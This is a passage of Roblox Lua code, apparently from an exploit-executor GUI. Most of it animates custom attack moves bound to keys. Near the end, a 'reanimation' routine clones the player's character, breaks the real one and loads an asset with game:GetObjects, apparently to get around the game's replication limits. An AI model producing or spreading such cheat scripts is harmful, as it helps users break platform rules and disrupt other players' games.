RAD(80)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, 0, -1) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1.5, 0) * ANGLES(RAD(-90), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end local HIT,POS = CastProperRay(RightArm.CFrame*CF(0,-1,0).p,Mouse.Hit.p,300,Character) WACKYEFFECT({Time = 45, EffectType = "Wave", Size = VT(1,0,1), Size2 = VT(5,1,5), Transparency = 0, Transparency2 = 1, CFrame = RightArm.CFrame*CF(0,-1,0) * ANGLES(RAD(180), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(0,0,0), SoundID = 90655239, SoundPitch = 1, SoundVolume = 2}) NEEDGYRO = false if HIT then local NEEDLE = IT("Model",Effects) local BASE = CreatePart(3, NEEDLE, "Glass", 0, 0.5, "Pearl", "Part", VT(0.3,0.6,0.3), false) MakeForm(BASE,"Cyl") BASE.CFrame = CF(POS,RightArm.CFrame*CF(0,-1,0).p) * ANGLES(RAD(90), RAD(0), RAD(0))*CF(0,-0.35,0) weldBetween(BASE,HIT) local FLUID = CreatePart(3, NEEDLE, "Neon", 0, 0, "Lime green", "Part", VT(0.28,0.58,0.28), false) MakeForm(FLUID,"Cyl") FLUID.CFrame = BASE.CFrame weldBetween(BASE,FLUID) local PART = CreatePart(3, NEEDLE, "Metal", 0, 0, "Pearl", "Part", VT(0,0.2,0), false) PART.CFrame = BASE.CFrame*CF(0,0.4,0) weldBetween(BASE,PART) local PART = CreatePart(3, NEEDLE, "Metal", 0, 0, "Pearl", "Part", VT(0.1,0.1,0.1), false) PART.CFrame = BASE.CFrame*CF(0,-0.35,0) weldBetween(BASE,PART) local PART = CreatePart(3, NEEDLE, "Metal", 0, 0, "Pearl", "Part", VT(0.2,0.1,0.2), false) PART.CFrame = BASE.CFrame*CF(0,-0.4,0) weldBetween(BASE,PART) Debris:AddItem(NEEDLE,7) if HIT.Parent:FindFirstChildOfClass("Humanoid") then local HUMAN = HIT.Parent:FindFirstChildOfClass("Humanoid") coroutine.resume(coroutine.create(function() end)) end end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -1) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(15), RAD(-45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.1, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(45)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, -0.5) * ANGLES(RAD(25), RAD(0), RAD(80)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, 0, -1) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1.5, 0) * ANGLES(RAD(-90), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end ATTACK = false Rooted = false end function ScrewThis() ATTACK = true Rooted = true local SCREW = CreatePart(3, Weapon, "Neon", 0, 1, "Really red", "Part", VT(2, 0.4, 0.4)/2,false) SCREW.CanCollide = true local WELD = CreateWeldOrSnapOrMotor("Weld", LeftArm, LeftArm, SCREW, CF(0,-1,0.2) * ANGLES(RAD(0), RAD(90), RAD(0)), CF(0, 0, 0)) CreateMesh("SpecialMesh", SCREW, "FileMesh", "70265804", "70265794", VT(1,1,1)/1.5, VT(0,0,0)) for i=0, 0.4, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(45)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.5, -0.5) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-5), RAD(0), RAD(15)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end SCREW.Transparency = 0 for i=0, 0.1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.5, -0.5) * ANGLES(RAD(60), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(80)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i = 1, 3 do for i=0, 0.3, 0.1 / Animation_Speed do Swait() WELD.C1 = WELD.C1 * ANGLES(RAD(5), RAD(0), RAD(0)) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(78)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 1, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(80)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end end if MRANDOM(1, 5) == 1 then DUST:Emit(25) WELD:remove() CreateSound(328460122, RightArm, 3, 1, false) SCREW.Velocity = CF(RightArm.Position,SCREW.Position).lookVector*65 Debris:AddItem(SCREW,6) for i=0, 3, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(80)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i = 1, 3 do for i=0, 0.35, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(15)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(80)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end for i=0, 0.35, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(-15)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.15, -0.5) * ANGLES(RAD(40), RAD(0), RAD(-35)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5, -0.3) * ANGLES(RAD(120), RAD(0), RAD(80)) * ANGLES(RAD(0), RAD(15), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end end else for i=0, 0.5, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(60)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end WELD:remove() for i=0, 0.15, 0.1 / Animation_Speed do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(60)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-110)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end Debris:AddItem(SCREW,6) end ATTACK = false Rooted = false end --//=================================\\ --|| ASSIGN THINGS TO KEYS --\\=================================// function MouseDown(Mouse) if ATTACK == false then end end function MouseUp(Mouse) HOLD = false end function KeyDown(Key) KEYHOLD = true if Key == "z" and ATTACK == false then Warp() end if Key == "b" and ATTACK == false then Dash() end if Key == "c" and ATTACK == false then LimbRip() end if Key == "v" and ATTACK == false then Buzzsaw() end if Key == "e" and ATTACK == false then --ReeeEEEEEE() -- disabled end if Key == "x" and ATTACK == false then Needle() end if Key == "t" and ATTACK == false then ScrewThis() end end function KeyUp(Key) KEYHOLD = false end Mouse.Button1Down:connect(function(NEWKEY) MouseDown(NEWKEY) end) Mouse.Button1Up:connect(function(NEWKEY) MouseUp(NEWKEY) end) Mouse.KeyDown:connect(function(NEWKEY) KeyDown(NEWKEY) end) Mouse.KeyUp:connect(function(NEWKEY) KeyUp(NEWKEY) end) --//=================================\\ --\\=================================// function AntiTimeStop() for _, c in pairs(Character:GetChildren()) do if c:IsA("BasePart") then c.Anchored = false end end for _, c in pairs(Weapon:GetChildren()) do if c:IsA("BasePart") then c.Anchored = false end end end --//=================================\\ --|| WRAP THE WHOLE SCRIPT UP --\\=================================// Humanoid.Changed:connect(function(Jump) if Jump == "Jump" and (Disable_Jump == true) then Humanoid.Jump = false end end) local sick = IT("Sound") while true do Swait() ANIMATE.Parent = nil for _,v in next, Humanoid:GetPlayingAnimationTracks() do v:Stop(); end SINE = SINE + CHANGE local TORSOVELOCITY = (RootPart.Velocity * VT(1, 0, 1)).magnitude local TORSOVERTICALVELOCITY = RootPart.Velocity.y local HITFLOOR = Raycast(RootPart.Position, (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4, Character) local WALKSPEEDVALUE = 6 / (Humanoid.WalkSpeed / 16) if ANIM == "Walk" and TORSOVELOCITY > 1 then RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, -0.15 * COS(SINE / (WALKSPEEDVALUE / 2))) * ANGLES(RAD(0), RAD(0) - RootPart.RotVelocity.Y / 75, RAD(0)), 2 * (Humanoid.WalkSpeed / 16) / Animation_Speed) Neck.C1 = Clerp(Neck.C1, CF(0, -0.5, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(2.5 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0) - Head.RotVelocity.Y / 30), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed) RightHip.C1 = Clerp(RightHip.C1, CF(0.5, 0.875 - 0.125 * SIN(SINE / WALKSPEEDVALUE) - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.125 * COS(SINE / WALKSPEEDVALUE) +0.2- 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0) - RightLeg.RotVelocity.Y / 75, RAD(0), RAD(90 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed) LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5, 0.875 + 0.125 * SIN(SINE / WALKSPEEDVALUE) - 0.15 * COS(SINE / WALKSPEEDVALUE*2), 0.125 * COS(SINE / WALKSPEEDVALUE) +0.2+ 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0) + LeftLeg.RotVelocity.Y / 75, RAD(0), RAD(90 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed) elseif (ANIM ~= "Walk") or (TORSOVELOCITY < 1) then RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed) Neck.C1 = Clerp(Neck.C1, CF(0, -0.5, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed) RightHip.C1 = Clerp(RightHip.C1, CF(0.5, 1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed) LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5, 1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed) end if HITFLOOR == nil then ANIM = "Midair" if ATTACK == false then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 ) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0 , 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.75, 0) * ANGLES(RAD(-15), RAD(0), RAD(25)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.75, 0) * ANGLES(RAD(-15), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.2, -0.6) * ANGLES(RAD(15), RAD(70), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.2, -0.6) * ANGLES(RAD(15), RAD(-70), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 1 / Animation_Speed) end elseif TORSOVELOCITY < 1 and HITFLOOR ~= nil then ANIM = "Idle" if ATTACK == false then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.1 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.35 * SIN(SINE / 12), 0) * ANGLES(RAD(0), RAD(0), RAD(10 - 15 * COS(SINE / 12))) * ANGLES(RAD(0), RAD(-15), RAD(0)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.35 * SIN(SINE / 12), 0) * ANGLES(RAD(0), RAD(0), RAD(-10 + 15 * COS(SINE / 12))) * ANGLES(RAD(0), RAD(15), RAD(0)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) end elseif TORSOVELOCITY > 1 and HITFLOOR ~= nil then ANIM = "Walk" if ATTACK == false then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(5), RAD(0), RAD(10 * COS(SINE / WALKSPEEDVALUE))), 0.5 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5), RAD(0), RAD(-10 * COS(SINE / WALKSPEEDVALUE))), 0.5 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0.5 * SIN(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(60 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(5)) * ANGLES(RAD(0), RAD(-15), RAD(0)) * RIGHTSHOULDERC0, 0.8 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, -0.5 * SIN(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(-60 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(-5)) * ANGLES(RAD(0), RAD(15), RAD(0)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 2 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(15)), 2 / Animation_Speed) end end sick.SoundId = "rbxassetid://1696854181" sick.Looped = true sick.Pitch = 1 sick.Volume = 2 sick.Playing = true sick.Parent = Effects AntiTimeStop() if Rooted == false then Disable_Jump = false Humanoid.WalkSpeed = Speed elseif Rooted == true then Disable_Jump = true Humanoid.WalkSpeed = 0 end end end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_5b); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_5d() local script = G2L["5d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() local script = game:GetObjects("rbxassetid://10118489206")[1] Player = game:GetService("Players").LocalPlayer local USERNAME = Player.Name PlayerGui = Player.PlayerGui Cam = workspace.CurrentCamera Backpack = Player.Backpack Character = FakeCharacter Humanoid = Character.Humanoid Mouse = Player:GetMouse() RootPart = Character["HumanoidRootPart"] Torso = Character["Torso"] Head = Character["Head"] RightArm = Character["Right Arm"] LeftArm = Character["Left Arm"] RightLeg = Character["Right Leg"] LeftLeg = Character["Left Leg"] RootJoint = RootPart["RootJoint"] Neck = Torso["Neck"] RightShoulder = Torso["Right Shoulder"] LeftShoulder = Torso["Left Shoulder"] RightHip = Torso["Right Hip"] LeftHip = Torso["Left Hip"] local info = false local TIME = 0 local Throttle = 0 local doe = 0 local LookUp = false local sick = Instance.new("Sound",Torso) sick.Parent = Torso sick:Play() sick.Volume = 8.2 sick.Pitch = 1 sick.SoundId = "rbxassetid://6174456295" sick.Looped = true sick.TimePosition = 0 IT = Instance.new CF = CFrame.new VT = Vector3.new RAD = math.rad C3 = Color3.new UD2 = UDim2.new BRICKC = BrickColor.new ANGLES = CFrame.Angles EULER = CFrame.fromEulerAnglesXYZ COS = math.cos ACOS = math.acos SIN = math.sin ASIN = math.asin ABS = math.abs MRANDOM = math.random FLOOR = math.floor local alreadyfixing = false local hue = 0; --//=================================\\ --|| USEFUL VALUES --\\=================================// Animation_Speed = 